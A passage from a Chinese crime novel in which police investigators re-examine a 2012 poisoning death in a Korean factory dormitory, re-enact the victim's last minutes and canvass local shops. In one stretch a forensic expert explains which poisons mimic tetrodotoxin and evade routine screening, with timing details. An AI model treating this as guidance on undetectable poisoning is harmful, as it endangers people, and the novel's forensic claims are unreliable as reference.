“那如果是寄送非常重要的物品,选哪一家比较靠谱?”秦梓需问。 “那一定是DHL了。”章弥真插话进来,“据我在国外生活这么多年的经验,DHL送要件是最保险的。” “单号能溯源多久?”秦梓需问。 “我记得90天吧,再早就查不到了。”章弥真道。 “DHL应该只在大城市递送吧,像是药山镇这种偏远山村,能送到吗?” 章弥真道:“估计不行,国际快递在国内只有北京、上海这样的大城市才能配送,偏远地区应该都是转邮政EMS来投递的。” 秦梓需立刻逮住一旁正准备点烟的邹天,道:“你有沙马俄木的联系方式吗?” “有,有的。怎么了?”邹天吓了一跳。 “你现在就问问沙马俄木,有没有在2012年收到过寄给老校长的国际快递,有可能是DHL转托中国邮政EMS寄送的一个包裹,是从韩国来的。这东西有可能经过沙马俄木的手。” “查这个干什么?这不都是已经确定的事了吗?”章弥真疑惑问。 “在老校长确确实实拿到东西之前,中间走过的链路必须搞清楚。我们现在只是确认了终点,起点和经过谁的手还不清楚。”秦梓需道。 “好,我马上联系他。”邹天把还没点的烟夹到耳朵上,然后立刻开始操作手机。 “起点难道不是李芝华吗?”章弥真不解。 秦梓需抬头仰望眼前这幢10层公寓楼,道:“现在已经很难确认李芝华寄递包裹的过程了,谁也无法保证她在寄递包裹的过程中,到底有没有出差错。我觉得有个人很关键,就是许晓芸。得尽快找到这个人,她也许知道更多的细节。” 眼前的公寓楼深灰色外立面,造型很像是日本的团地住宅楼,户门都对着一条长廊,人从长廊上走过时,楼外的人都能看到。这楼有年头了,墙体斑驳,楼道里还堆积了一些杂物,看上去略有些杂乱。 如今,这栋楼仍然被作为是牙山工厂的宿舍楼,只不过李芝华去世的603号宿舍一直空置,8年来未有人进去居住过。韩国人比中国人迷信得多,非常相信风水。死过人的屋子,都很忌讳再去住。 “许晓芸……这姑娘真惨。”章弥真也下意识跟着秦梓需仰望公寓楼,道,“连何文月一个智力残障被侵害了都知道要报复,要争取逃跑,她却只是忍气吞声了。” “你说什么?”秦梓需突然轻声反问了她一句。 “啊?我说何文月还知道反抗呢,你不记得何文月了?我俩一起在地下车库救的她,你还给那个犯罪分子一个暴摔……”章弥真道。 秦梓需没说话,只是抬手示意章弥真先噤声。她眸光闪动着,似乎在努力地思索什么,但表情越发痛苦和迷茫,仍然是差了那么一点,还是没想通。 “怎么了老秦,你中邪了啊?”章弥真有些担心地看着她。 “那个……我们进去吗?”朴尚恩看到谢云卿打完电话,已经往公寓楼大门走去,连忙出声喊秦梓需等人。 秦梓需立刻招呼章弥真和邹天跟了上去。 第86章 第八十六章 进入公寓楼后,谢云卿凑到章弥真、秦梓需身边,对她们道: “刚才是大后方来电,邵彦华在牢里和人起冲突被打了,眼角膜受损,给他做检查的过程中,查出他做过视力矫正手术。” “什么手术,是LASIK还是全飞秒?”秦梓需问。 “全飞秒,所以他那个眼镜就是个伪装,他根本不近视。” “国内没有医疗记录?” “查了,没有的。” 秦梓需道:“那他一定是在国外做的手术,这个手术是08年从德国开始应用的,到国内普及估计也得10年前后了。” “好奇怪,他应该是05年当年之内改换身份成为卢康安的吧,当年他应该就完成了整容。哪怕是最早08年他就跑德国去做这个手术,也隔了3年时间。他为什么要冒着暴露身份的风险出国去做这个视力矫正手术?”章弥真问。 秦梓需道:“可以推测的是,他可能在为某些户外挑战做准备。戴眼镜很多事不方便。而且,咱们一直在寻找的证物就是一副眼镜,他做了视力矫正手术,哪怕我们找到证物,只要证物之上他的生物痕迹没有了,那我们就很难说这副眼镜属于他。” “那是不是可以说,他做这个手术很有可能是在2012年之后了,因为那时候李芝华已死,但证物仍然没有找到。也许邵彦华那会儿已经放弃寻找证物了,为了以防万一,他才去做了手术,修改了自己的视力。”章弥真推测道。 谢云卿也表示认同这个推测:“对,很有可能是两手准备,一是他打算把药山镇挖地三尺,找出可能被寄回去的证物,因此需要频繁露宿野外,戴眼镜非常不方便,不戴眼镜反而可以伪装。二是他也在为证物落入警方手中做最后的万无一失的准备。” “如果确实如此,那就意味着邵彦华、邵紫涵、梅凝隽这犯罪三人组确信证物被寄回药山镇了。” 她三人一直在低声讨论,把朴尚恩晾在了一边。朴尚恩一直想向宿舍管理介绍他们,这下不得不等待。好在还有邹天在,他上前代为和宿舍管理打招呼。 宿管是一位五十余岁的中年妇女,之前就听说了有中国警察要来调查8年前的案子,她忍不住用韩语和朴尚恩抱怨了两句。虽然邹天听不懂韩语,但他从对方的语气和神态能很轻松地判断这一点。 朴尚恩有些尴尬,只得赔笑,出言安抚。 这时候秦梓需三人终于结束了组内讨论,秦梓需主动上前和宿管打招呼,并询问道: “8年前您也是这里的宿管吗?” 朴尚恩连忙翻译,并向秦梓需翻译宿管的回答:“是我。” “那您知道当时宿舍的进出入情况吗?”秦梓需再问。 宿管很为难:“该说的我都跟警察说了啊,现在你让我回忆过去的事,我也记不清楚了。” 秦梓需见她心存抗拒,知道现在逼问肯定问不出什么结果,反而会惹对方越发不快。便暂时让步,徐徐图之:“没关心,打搅您了,你帮忙带个路吧。” 宿管的情绪果然稍缓,但嘴里依旧絮絮叨叨个不停,说的都是韩语,朴尚恩的神情越发尴尬,专案组不用猜也知道这宿管肯定是嘴里没什么好话。 “抱歉,阿姨说那个宿舍自从出了命案,就没有人敢住了,但卫生还要她来打扫,她每次进去都很不舒服……”朴尚恩解释道。 “可以理解。”秦梓需和气道。 众人乘坐电梯抵达6楼,一拐出电梯间,左手第三间房就是当年李芝华的宿舍。宿管用钥匙开了门,站在门口让众人进去,同时说道: “卫生我每周会打扫一次,主要是清扫灰尘。这里已经没有你们要查的东西了,东西都收拾干净了,而且还请了法师来做过法。” 她倒也没有说假话,这宿舍内的高架床、橱柜都盖着白布,地面拖得很干净,窗明几净的,打扫得明明白白,单纯一看,真无法联想到这是一个曾经发生过凶杀案的现场。 大概是为了迎合中国人的生活习惯,这宿舍不像是韩国人家中那样铺设木地板和席面,直接是瓷砖地面,四张架高床铺,下方搭配一体书桌、书架、衣柜,乍一看跟国内大学宿舍没什么差别。 宿舍进门后,右手侧就是洗手池和卫生淋浴间,在往里走则是四个铺位所在的主屋,然后再往南便是封闭式阳台。阳台上右手侧的一部分被空调外机占了,其余地方用来晾晒衣物。 这里是六楼,楼宇四层以下的封闭式阳台外都有铝合金防盗护栏,四层以上没有,从这里向外张望,能看到远处有一个高耸的尖顶红砖建筑,在诸多低矮的建筑中十分显眼。 “那里是什么地方?”秦梓需进来后,直接就走到了阳台上,指着那个尖顶建筑询问道。 “那里是贡税里圣堂,就是天主教教堂。”朴尚恩回答道。 “教堂……”秦梓需眸光微动,她差点忘了韩国人有相当一部分信天主教。 秦梓需指着窗台询问那位宿管:“那包猫粮,就是放在这里吗?” “是的。”宿管点头。 “当时李芝华坐在这里吗?”秦梓需往回走了几步,来到了主屋与封闭式阳台的分界线内,这个位置大概距离阳台有五米远。 “是的。”宿管点头。 秦梓需蹲下身,模仿现场照片中李芝华的体位。她坐在低矮的塑料板凳上,面前是一张折叠圆桌。她亡故时面朝西趴在桌面上,她的背后,东侧靠阳台的床铺就是她的床铺。 秦梓需蹲在这个位置上,侧头去看窗台,眉头深锁。过了一会儿,她站起身,转身去看身后的一体柜。 书桌以及上方的书架一览无遗,藏不了东西。能藏东西的地方,一是桌面下方的键盘抽屉,二是键盘抽屉旁一列三层收纳抽屉,这抽屉是一体上锁的,锁眼在最上的那个抽屉,一旦最上面的一个抽屉上锁,下方所有抽屉都打不开。而下方抽屉关不好,也无法上锁。 秦梓需回忆警方现场勘验结果,这个琐当时是开着的,没有技术开锁痕迹。抽屉内部收拾齐整,第一层是文具和略有些私密的笔记本,第二层是数码产品,包括手机充电器、耳机、笔记本电脑。第三层层高较高、容量较大,因此放了一些比较占地方的物品,比如吹风机、纸巾、卫生巾等,虽然不是很值钱,但也被她锁在抽屉里。 李芝华的私人物品已经连同骨灰全部返还给她的亲属了,警方也看过她的笔记,但这个姑娘不写日记,笔记本内都是她学习工厂各种事务和韩语的笔记,与案情无关。 秦梓需随即打开衣柜,衣柜上层三分之二的空间是用来悬挂衣物的,下方打了一层板子,可以用来存放被褥,衣柜下方悬空,可以放拖鞋和盆。 这衣柜当然也可以上锁,但内里藏东西的空间也很有限,只要一找必然能找到。上方的床铺也一样,基本没什么藏东西的空间。 秦梓需思索着,推测文件盒当初最有可能被藏在上锁的抽屉里,有可能就在三层抽屉的最下层,被掩盖在纸巾和卫生巾之下。 没有技术开锁痕迹,说明对方根本就有钥匙,要拿到钥匙也并不困难,人都死了,钥匙估计就在李芝华身上,一搜就出来了。不过这个人显然很注意不翻乱李芝华的东西,所以开了锁后,钥匙又被放回了李芝华身上。 她一直沉默地东看西看,章弥真、谢云卿、邹天三人一直在旁一言不发,看着她动作。此情此景让朴尚恩和宿管也看得啧啧称奇。她们觉得中国来的警察真的不大一样,尤其是秦梓需,她似乎是团队的核心,真像着了魔似的,全身心代入式地在查案。 此时秦梓需再次做出惊人举动,她又跑到了阳台上,抬腕点了下手表,调出计时模块开始计时。接着她开始了表演,她在窗台边虚空抓了一把什么,假装吞入口中,咀嚼吞下。随即窗台边徘徊逗留了片刻,突然捂着肚子弯下腰来,掐住脖子,显出呼吸困难的模样。 “喂,她怎么了?”宿管吃惊喊道。 “嘘!别吵。”朴尚恩提醒宿管道。 秦梓需倒在地上,假装十分痛苦地掏口袋里的手机,眸光同时瞟向章弥真。章弥真突然会意,上前来夺走了她的手机。 接着秦梓需开始缓慢地向门口爬去,她爬得足够慢,但并非完全不动,待到彻底打开房门,爬到了走廊上,才停止计时。 时间是3分37秒。 “不合理。”秦梓需拍了拍身上的灰,回身进入宿舍,说道。 “确实不合理,时间太短了。如果不控制住她,她一定会爬到外面去。”谢云卿道。 “啊?这是在说什么呢?”邹天一下没反应过来。 秦梓需解释道:“河豚毒素的发作时间最快是10分钟,10分钟以内是潜伏期,发作后,还有半个小时的挣扎时间。如果不控制住中毒者,她一定有时间呼救。但李芝华的身上似乎没有控制痕迹,这很奇怪。” “宿舍门上锁了?”章弥真道。 “有可能,这样一来,李芝华真正的死亡位置应该是在门边上。毕竟这封闭式阳台,人根本出不去,中毒的李芝华非常痛苦,她没有力气破窗出去,何况破窗出去也是死路一条。她一定会寻求开门出去。不过案发当时,整个宿舍里,这一层楼应该除了凶手,就只剩下李芝华了,只要她的声音传不到一层的宿管耳朵里,就不会被发现。 “不过我更倾向于,凶手对李芝华施加了某种控制手段,具体是药物还是物理手段,要看郑老那里的结果。 “而且,她在宿舍里如此爬动,挣扎,必定要路过这狭窄的必经过道,放在过道中央的桌板和凳子绝对会被踢翻,哪还能保持得那么规整,显然是她死亡后,有人摆放的。”秦梓需道。 “在这样一个封闭空间中,一边翻找证物,一边控制不断挣扎的被害者,这当真是一个9岁女孩能做到的事吗?”邹天愈发不相信这个推断。 众人皆沉吟下来,如今看来,9岁的邵紫涵到底能不能完成这一系列谋杀动作,确实是要打个问号。 假使她不知道自己骗李芝华吃下猫粮的行为到底意味着什么,那她后续看到李芝华如此痛苦,又怎么可能意识不到到底发生了什么,但显然她没有做出任何救助动作,这至少意味着她见死不救。 而且梅凝隽必定要避免她因为无知而真的把有毒猫粮也吃下,所以必定要告诉她哪份猫粮能吃,哪份不能,也要告诉她如何诱骗李芝华吃下猫粮。也就是说,9岁的邵紫涵如果当真做了这件事,她必定是有足够的认知的,她完全知道自己在做什么。 所以这一系列犯罪行为如果都是她完成的,那这个女孩就实在是太过邪恶可怕了。 正踌躇间,及时雨来了。谢云卿的电话响起,正是郑有为来电。 “郑老,和验尸官谈得如何?”谢云卿再次开了免提。 郑有为的声音听起来有些亢奋:“我和这里的验尸官详细谈了,他说在李芝华的身上并没有找到任何束缚痕迹。但他又说,从李芝华两侧手臂内侧、肋下、大腿内侧都看到了白色的痕迹,这是长时间按压而造成的皮下血液挤出现象。不过他认为,这是因为李芝华当时趴伏在桌面上造成的。所以他并未对此提出额外的推断。 “我对此有另外的看法,你想,手臂内侧、肋下、大腿内侧的血液长期按压挤出,那会是一个什么姿态?” “呃……手脚并拢的样子?”谢云卿想象了一下,回答道。 “对!而且不仅是自主性的手脚并拢,是外部有一个宽阔柔软的东西将她一层层包裹起来后,才会导致她如同包裹在茧里一样,手脚都被束缚住了,动弹不得。” “是她的床单被套?!”秦梓需突然喊出声来。 第87章 第八十七章 “对了!小秦反应真快。就是她那被打湿了的床单被套,前一天晚上她肯定是把床单被套晾在阳台上了,中毒之后,她倒地挣扎,反抗能力迅速下降。凶手将她裹进了宽阔的床单被套之中,束缚住她。由此让她在动弹不得的情况下毒发身亡。同时,凶手还有足够的富裕时间腾出手来翻找她的东西。”郑有为推测道。 “真是……太可怕了……”章弥真代入了一下那种绝望窒息的感觉,后背冷汗涔涔。 秦梓需继续推测:“她毒发身亡后,凶手没有找到那个证物,便很有可能立刻离去了。随后,她的屋里又来了一个人,把她从床单被套里弄出来,摆了一个火锅阵,把她摆到火锅跟前,装作她好像是在吃火锅的过程中毒发身亡一般。此人甚至有可能把她被翻乱的东西全部收拾整齐。” “嗯……小秦,你为什么一定觉得会有这样一个人存在?” 秦梓需解释道:“因为毒杀她的必定是梅凝隽和邵紫涵,只有她们才能制备出河豚毒素猫粮,并诱骗李芝华吃下。但她们完全没有必要收拾残局,她们的目的就是找证物,就该以最快的速度找到,最快的速度离开现场,收拾并伪装现场根本是多此一举,毫无作用。 “所以必定有一个第三者,很有可能就是李芝华上午出门三个半小时见到的某个人,她和那个人吃了火锅,所以那个人可以完全复刻与她胃内容物相同的食物。她出于某种目的买了与火锅完全相同的菜,上了门找李芝华,发现李芝华已死,于是修改了现场的样子。他这么做,自然是因为这符合他的利益。” 郑有为道:“嗯,有道理。李芝华的遗体没有明显的拖拽痕迹,但因为有床单被套的存在,挪动尸体的难度下降了。所以腋下没有痕迹,不能充分说明尸体没有被挪动过。你的想法是成立的。” 章弥真问:“那老秦,你觉得第三者会是谁?他这么鬼鬼祟祟的,到底想干什么,肯定也不是什么好事吧,说不定这个人也想害李芝华。” 秦梓需思索着道:“是不是想害李芝华不好说,但心里有鬼是肯定的。他可能中午和李芝华一起吃了火锅,但没吃完,把剩下的菜打包了。然后李芝华先回了宿舍,此人不知道怎么回事,在隔了一段时间后又去找李芝华,发现她死了,就干脆用打包的菜自制了一个火锅来伪造现场。 “目的……可能是想骗警察,让警察以为李芝华是独自在宿舍里吃火锅吃死的,和他没有关系。 “那么反推一下,就是说这个人心虚,他和李芝华吃饭时,对李芝华的饭菜做了手脚,他去宿舍查看李芝华的状态,发现她死了,以为是自己把她杀死了,所以伪造了现场。尽管现场存在一些无法解释的疑点,比如翻乱了的东西,还有李芝华被包裹在床单被套里面死去。 “但此人没有细想,为了脱罪,他收拾了李芝华的物品,摆了火锅阵,挪动了李芝华的尸体,并收走了床单被套。做完这一切,他才发现李芝华吃了猫粮,于是慌乱下把猫粮洒进了火锅里,让一切看起来都非常合理。” 邹天惊了:“我去,这姑娘也太惨了吧,同一天被两拨人下毒……” 秦梓需问郑有为:“郑老师,现在还能不能判断李芝华一定是被猫粮毒死的?如果她事先就服下了某种毒物,事后却没有检测出来,存在这样的可能性吗?” 郑有为思索了一会儿,道:“有可能。我可以列举出四种毒物,其发作时的状态与河豚毒素很相近,常规的胃内容物和血液检查是查不出来的。比如钩吻、肉毒杆菌毒素、氰/化物、乌头/碱。 “这四种毒素,钩吻的可能性较小,因为案发地在韩国,钩吻不生长在这样的高纬度寒冷地区。因此在韩国想弄到钩吻非常困难。 “氰化/物的可能性是有的,但不高。若是氰化/物,就意味着杀死李芝华的不是猫粮。因为氰化/物是通过抑制细胞呼吸链快速致死,发作时间比河豚毒素快得多。剂量足够大的情况下,李芝华将会在接触到氰化/物1分钟以内死亡,随后因为氰化/物易挥发的特性,口腔内残留的氰化/物会在半小时以内挥发。血液内的氰化/物则会在24小时以内经尸体的腐败代谢出去,再也难以检测到。需在中毒后8小时内检测血液样本,且得优先采集十二指肠内容物以提高检出率。李芝华的血液检测确实是超过8小时了,但根据解剖十二指肠的内容物的结果,并未找到氰化/物,所以可能性确实不高。也有可能她接触到了,但不是致死量。 “乌头/碱主要是引发心律失常和麻痹。症状是心悸、四肢麻木,也比较容易与河豚毒素混淆。需高效液相色谱法才能检测出来,常规方法可能遗漏。乌头/碱最快的致死时间是10分钟,比河豚毒素也要快。这种毒素常见于民间药酒里,但不论是中国还是韩国,都是管制药物,要弄到未处理过的生草乌也很困难。 “我认为,肉毒杆菌的可能性非常高,因为韩国这里流行腌制泡菜,一旦腌制不好,很容易出现肉毒杆菌中毒的现象。肉毒杆菌毒素抑制乙酰胆碱释放,导致肌肉麻痹。其症状诸如吞咽困难、呼吸衰竭与河豚毒素相似,易被混淆。得通过小鼠生物试验或分子检测才能查出来,常规筛查可能忽略。两种毒素均作用于神经系统,但靶点不同,叠加后加速呼吸肌麻痹。我看了他们的法医验尸流程,并没有做小鼠生物试验或分子检测。 “不过,哪怕是摄入了A类肉毒杆菌,也就是最高剂量毒素,发病致死时间也得24小时,只有最最极端的情况下,可能缩短至2小时。所以如果李芝华中了肉毒杆菌毒素,她最有可能是前一天的下午吃下了毒素,这就和当天上午她出门后接触到的人和食物无关了。” 郑老说了这一长串的话,众人听得晕晕乎乎,只感觉毒理研究太过复杂了。谢云卿叹了口气道: “郑老,麻烦您再确认一下,看能不能锁定确切的致死毒物,这非常关键。无法锁定,那我们就根本不知道凶手是谁。” “好,我再和验尸官探讨一下。” 电话挂断,众人的面色都很阴沉。现在事情变得十分复杂,本来是来找证物的,结果越是查下去,李芝华的案情就越发扑朔迷离起来。 “请问……查完了吗?”一旁响起一个弱弱的询问声,是朴尚恩,眼前四个中国人神情凝重,她刚才也没完全听懂郑老在电话里说的是什么,这会儿实在是有点云里雾里的。 “嗯,查完了,谢谢你们。”谢云卿道。 一行人退出这间宿舍,秦梓需落在最后,再看了一眼远处的教堂。 “老秦,看什么呢?”章弥真喊她。 “嗯,我想去那间教堂看看。”秦梓需道。 “现在吗?”章弥真看了一眼时间,这会儿临近中午,到了该吃饭的时间了。 “嗯,下午有空去看看。”秦梓需道。 章弥真欲言又止,秦梓需似乎意识到了什么,问道: “你下午有事?” “嗯……没事。” “你有事,说吧。”秦梓需更笃定了。 章弥真叹了口气,道:“真没事,就是晚上,何天佑约我晚上7点吃晚饭。我答应了,想去跟他把话说清楚。” “哦,那……你下午跟我一起去教堂吗?还是说要去做点什么准备。”秦梓需问。 “做什么准备啊,就是吃个饭而已,我可没打算为了何天佑那个家伙去精心梳妆打扮。”章弥真眯着眼吐槽道。 秦梓需好奇问:“你好像对他有很大的成见,你们真的是和平分手的吗?” 章弥真道:“说是和平也有点不大准确,实际上分手前吵得很凶。我确实看不起他,因为他攀附权贵,他在教授面前奴颜婢膝的样子让我实在受不了。芝加哥大学和哈佛、耶鲁这些常春藤学校不一样,素来竞争激烈,考试很多,打分也很严格,我们这些学生都是不知道熬了多少大夜才熬到毕业的,我大学那会儿除了打工,几乎是天天睡在图书馆里面。他倒好,想走捷径,甚至不惜出卖自身的尊严。我对自己看走了眼感到羞耻。 “不过后来出社会,也会觉得人有时不得不低头,想想他当年确实也不大容易,他家境一般,也没靠山,本身能力不算特别强,全靠数理特长才进去的。在芝加哥大学那种竞争激烈的环境里,只有谄媚才能保存自身,我也就没那么苛责了。只是觉得我俩铁定过不到一块儿去,根本就不是一路人。不至于成了仇人,就是陌路人吧。 “没想到他会在韩国这里工作,他当前的成就确实匹配得上他的能力。” “哇,你这也太mean了。”秦梓需感叹道。 “哼,没本事的人就是入不了我的眼。”章弥真颇为傲气道。 “既然如此,你何苦像是耗子见了猫那样怕他?”秦梓需问。 “我哪里是怕他,我是怕尴尬。我真觉得丢人,一看到他我就想起过去那个愚蠢的自己。”章弥真实话实说。 “但他好像一点也不怕尴尬,不仅如此,还对你念念不忘,一听你在牙山,立刻就从首尔赶来了。”秦梓需道。 “嗯……这是不是能说明本姑娘魅力十足?”章弥真笑着反问秦梓需。 秦梓需却道:“他不过是中了破镜重圆的幻梦术罢了,又或者是以为自己从河东到河西了,你就能高看他一眼了。” 章弥真很惊讶:“可以呀老秦,没想到你也挺毒舌的。” “你们在哪儿吃饭?需不需要我接送?”秦梓需问。 “干啥,你怕他吃了我?”章弥真好笑道。 秦梓需神色严肃:“确实略有担心。” 章弥真哑然片刻,随后扬起甜甜的笑容,勾住秦梓需的肩膀道:“老秦,你这搞得我怪不好意思的,那就麻烦你了。” 秦梓需有种好心当作驴肝肺的无力感。 …… 离开宿舍楼,朴尚恩驱车,送一行人先去吃了饭,然后驱车前往牙山医院,与郑有为汇合。 韩国的法医系统与警察系统彼此独立,验尸工作一般都是由分布各地的国立科学搜查研究所负责。除此之外,大学医学院法医学系、综合医院的病理科医生都有可能承担法医工作,偏远地区甚至会有小医院的医生来负责法医工作。 牙山地区的法医工作,基本是由牙山医院病理科负责,郑有为今日正是前往了牙山医院病理科,与当年的验尸官见面会谈。 现在案件陷入毒素迷雾,确定致死毒素成了头等大事,其余所有调查基本都得搁置。众人心中焦急,打算亲赴医院合力调查。 秦梓需却和大家关注点不同,在大家围着郑老询问毒素情况时,她却找到了翻译金楚欣,询问起监控的事来。 “当年警方采调的监控中,有多少是在户外的?” 小金道:“大概有十来个探头的视频吧,每一个时长大概在四十分钟到一个小时不等,主要分布在宿舍和工厂附近地区,范围大概半径十公里,也算是全覆盖了。不过,你也知道,李芝华早上出门后,在产团路路口拐弯,就消失了,找不到了。你想查什么?” “我想把这些视频再仔细看一遍,对了,卷宗之中有没有关于牙山地区中式火锅店的调查?”秦梓需道。她只看了一遍卷宗,很多内容一眼掠过,只有一个大致印象,怕自己有所遗漏,所以要向最熟悉卷宗的金楚欣确认。 “火锅店?没有啊,当年警方没有查过这个。”小金仔细回忆了一下,道。 秦梓需道:“现在就麻烦你联络牙山警署排查一下,如果当年牙山这里没有这样的火锅店的话,这就意味着李芝华生前最后一顿饭可能是在一个所有人都意想不到的地点吃的。这个案子……越来越扑朔迷离了。” 第88章 第八十八章 郑有为仔细看了当年的血样分析报告,仍然不能从现有的资料中判断出李芝华有过二次中毒。由于尸体已经被火化,只留下了指甲、头发、指纹和皮肤样本,郑老打算借助病理科这里的设备,对这些样本再进行一次分析,但这需要时间。 交流的过程中,郑有为也听说了邵彦华在牢里被打了的事,好奇问道: “因为什么被打了?” “您也知道看守所里的情况,他顶撞同舍的号长,都是手上有人命的主,对方五大三粗,身边还有一群追随者,他体能不占优势,就被教训了。”谢云卿解释道。 “哼,恶人自有恶人磨。”章弥真冷笑道。 秦梓需这会儿已经和小金交流完了,来到众人身边,正好听到他们讨论邵彦华。于是插嘴问道: “预审那里有向邵彦华透露邵紫涵的消息吗?这家伙有没有产生过动摇?” “你交代的事,预审科那里已经做了。但邵彦华的表现很冷淡,像是漠不关心。老沈没看出他心中有丝毫动摇。目前,预审那里还是很难突破。”谢云卿道。 秦梓需摸索着下颌,一时间沉默。 章弥真道:“这父女俩真有意思,我反正是看不懂他们。好像关系很紧密,信任基础很深,以至于能合作犯罪,还抗得过囚徒困境。但又好像根本不熟似的,就像是……合伙人?只是因为某种牢固的利益关系绑在一起,彼此之间毫无感情基础,甚至暗中还互相看不起。” 秦梓需突然打了个响指,道:“对,你形容得很准确,就是这种感觉。” 谢云卿道:“看来,咱们要做好零口供定案的准备了。必须把证据链做扎实了,不然……辛苦了这么久,却不能判死刑,谁咽的下这口气?包括现在咱们在查的李芝华案,韩国这边对这个案子怎么定性我不管,我得为咱们的司法公正负责,怎么着也不能啥也没查明白就回去了,这实在是对不起李芝华。” 接下来众人便不打搅郑有为工作,退到走廊上商议下一步动作。秦梓需提出重走李芝华遇害前那个上午可能会走的路线,并希望朴尚恩警官能陪同,提供帮助。朴尚恩表示没有意见。 章弥真立刻道:“我跟老秦一起。” 同时,小金也提出了排查火锅店的事,谢云卿道: “那我、邹天和小金一起排查火锅店吧,人多做事快。朴警官的车就给你们代步用,咱们下午要做的是案头工作。” 安排妥当,众人便分头行动。 依旧是朴尚恩驾车,秦梓需坐副驾,章弥真坐后排。朴尚恩依据秦梓需的指示,把车先开到了李芝华最后出现的监控附近。 这是一个名叫产团路的三岔路口。产团路东西向,叉出去的两条路,一条向西北,往牙山湾西侧合德一带而去。一条向东北,往牙山湾南侧的丘陵地带而去,牙山著名的景点贡税里圣堂、植物园等都在那处丘陵地带。 秦梓需选了东北方向的岔路,让朴尚恩开车缓缓前进。她一路仔细观察沿途的商铺,并且很快喊了停车。 “咋了?你要回酒店拿东西?”章弥真问。 这会儿车正好停在她们下榻的酒店旁边。 韩国是靠右行左舵车,与国内的交规基本相同。因此当前车辆在道路右侧靠边停车,酒店就在道路右侧。章弥真坐车习惯性地坐在后排的右侧,因此她自然而然向右侧看,第一时间注意到了酒店。 秦梓需却指了指左边: “不是,正好华人超市在马路对面,我先进去问问情况。朴警官,您留在车上就好,不必跟过来。” 她和章弥真一起下车,两人过了马路,往华人超市走去。这家华人超市名叫“红心”,店主是个中年女子,体态发福,长相很东北,口音也很东北。 “诶,是你啊,又来买东西?”店主一眼认出了秦梓需,笑着打招呼。 “老板,和你打听个事。”秦梓需掏出了警官证。 店主顿时吃了一惊:“呦,您是警察同志啊。怎么会跑这个地方来了?” “查案,一起跨国旧案。8年前,2012年,牙山工厂宿舍里有一个小姑娘死了,这事儿你知道吗?”秦梓需问。 “这我还真有所耳闻,而且那姑娘常来我店里买东西呢。原来你们是来查这个案子的!”老板顿时来了精神。 秦梓需就知道会有所收获,于是立刻取出了李芝华的照片,道:“案发当天是5月22日,那天上午这个女孩有没有来过店里买东西,买的东西很可能是床单被套。” “没有,这个事儿我记得老清楚。那天上午我家女儿开运动会,我们关店,去我女儿学校去了,我们是下午开的店。”老板很是笃定道。 秦梓需和章弥真相视一眼,秦梓需道:“您店里卖的是什么样式的床单被套?” “你们来。”老板招呼她们走到货架边看,“红双喜,我们东北老家的地方货,可暖和。我们只进他家的货,卖了好多年了。” 秦梓需从手机里导出小金刚刚发给她的监控截取图片,正是案发当天李芝华回宿舍进门时的片段。她手里塑料袋隐约透出蓝盒子的模样,但眼前货架的货是红盒子。 “这个货换过包装吗?有用过蓝盒子吗?”秦梓需问。 “包装是换过的,但印象中他家一直是红色调的,毕竟是叫红双喜,没见过蓝色的。”老板道。 “那您回忆一下,案发前一天有没有工厂里的人来你店里买东西,比如火锅调料之类的。”秦梓需追问。 老板很努力的回忆了一会儿,最后无奈道:“这可太多了,我店里生意一直挺好的,火锅料、辣酱之类的卖得特别多,现在问我,我可记不清了。” “好,谢谢您了。”秦梓需结束了问询。 “警察同志,那姑娘的案子不是食物中毒?”老板好奇打听。 秦梓需笑了笑,给了个公式化回答:“还在调查中。” 两人出了华人超市,章弥真道: “看来李芝华买的床单被套不是在这里买的,这下不知道该去哪儿查了。” “没事儿,咱们一路过去,逢店就进,刑警的传统手艺就是地毯式排查。”秦梓需道。 章弥真叹息,案子一进展不了,她就知道得下笨功夫了。 接下来她们真就一家店一家店地查了过去,有朴尚恩这个熟悉本地情况的人在,哪些店是8年前有的,哪些是最新才开的都能大致掌握,再加上床单被套这种东西,一般的便利店小超市甚至没得卖,故而排查倒也不是很费劲。 她们花了一个多小时,一路查到了商贸区边沿,逐渐进入了牙山湾南岸的风景区。到这儿,仍然毫无收获,店主大多不能记得八年前的顾客,有些甚至不配合。这也是在意料之中。 不过秦梓需还是找到了两种蓝色包装的床单被套,这是韩国本地产的品牌,不能确定李芝华买的是哪一种。 “前面的风景区还有没有商店卖床单被套的?”秦梓需问朴尚恩。 “应该是没有了,前面都是餐馆、酒店,还有露营地,顶多有一些小便利店,但不会卖床单被套。”朴尚恩道。 “好,你再往前开,咱们现在去教堂。” 贡税里圣堂,位于牙山湾与插桥川交界的贡税里斜坡上,是天主教大田教区的本堂。早期的传教士从浦口上岸,最先从这里开始传教。1897年成立祭祀馆,本堂于1922年竣工,是忠清南道最早的天主教本堂。 今日风和日丽,蓝天白云衬着红砖尖顶的教堂更显明媚秀丽,风景宜人。教堂院内,历经几百年风霜的榉树林立,又增添了几分肃穆之感。 秦梓需三人下车,步入教堂范围内。不知是不是教堂内正在做礼拜,能听到圣歌的声音传出。三人没有进入教堂,只是在院内围绕着本堂转悠,秦梓需对这里非常好奇,一直在观察四周的景象。 走过郁郁葱葱的松林,穿过典雅别致的庭院,她随即看到了一片墓地,但里面只有三个十字架墓碑。 一旁的朴尚恩解释道:“这里是丙寅迫害时三名殉教士的墓地,旁边是祭祀堂。” 丙寅迫害又叫做丙寅邪狱、丙寅教难,指的是1866年2月开始由朝鲜王朝的摄政者——兴宣大院君李昰应发起的天主教镇压运动。当时全朝鲜上下抓了12万人,处死了8000多人,包括9名法国传教士,引发了当年10月法国军队入侵朝鲜。 秦梓需远远望着那祭祀堂,觉得有点眼熟,在哪儿见过。 “这儿的植被真是茂盛,而且都是老树了,挺壮观的。”章弥真赞叹道。 “隔几年圣堂还会组织植树呢,这是祭祀仪式的一部分。”朴尚恩笑道。 植树?秦梓需突然想到什么,忙去后腰摸腰包。不一会儿抽出一张叠成方块的纸,展开来,正是那张从商店街礼品店店员那里拿到的传单。她当时随手叠了一下塞在了腰包里,之后就没动过。 她仔细一看,果然在传单上的照片里,看到了祭祀堂的一角。她连忙把传单拿给朴尚恩看: “朴警官,这个礼品店的传单里,说的是圣堂植树吗?” “是的,这个是马上8月15日圣母升天节的祭祀植树活动,8月15日也是我们的光复节,那天会很热闹。”朴尚恩解释道。 “啊!今天已经是8月12号了啊。”章弥真吃了一惊。 “怪不得,这一路上看到不少店铺都在做庆典装饰。”秦梓需道,她随即问道,“那5月会有植树活动吗?2012年那年,圣堂有组织过类似的活动吗?” “这个我不确定,咱们去问问好了。” 